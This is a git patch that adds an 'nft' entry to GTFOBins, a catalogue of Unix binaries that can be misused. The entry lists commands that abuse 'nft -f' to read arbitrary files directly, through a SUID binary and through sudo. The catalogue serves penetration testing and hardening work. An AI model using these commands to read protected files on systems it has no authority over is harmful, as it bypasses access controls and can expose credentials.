From 055ef78280f75bab9aead27ee621cf4042c2671c Mon Sep 17 00:00:00 2001 From: tomdantuma Date: Thu, 8 Sep 2022 21:19:08 +0200 Subject: [PATCH] Add nft Co-authored-by: Andrea Cardaci --- _gtfobins/nft.md | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) create mode 100644 _gtfobins/nft.md diff --git a/_gtfobins/nft.md b/_gtfobins/nft.md new file mode 100644 index 0000000..cc9584e --- /dev/null +++ b/_gtfobins/nft.md @@ -0,0 +1,16 @@ +--- +description: The content is actually parsed and corrupted by the command, thus it may not be suitable for arbitrary files. This requires version `nftables` v0.9.0. +functions: + file-read: + - code: | + LFILE=file_to_read + nft -f "$LFILE" + suid: + - code: | + LFILE=file_to_read + ./nft -f "$LFILE" + sudo: + - code: | + LFILE=file_to_read + sudo nft -f "$LFILE" +---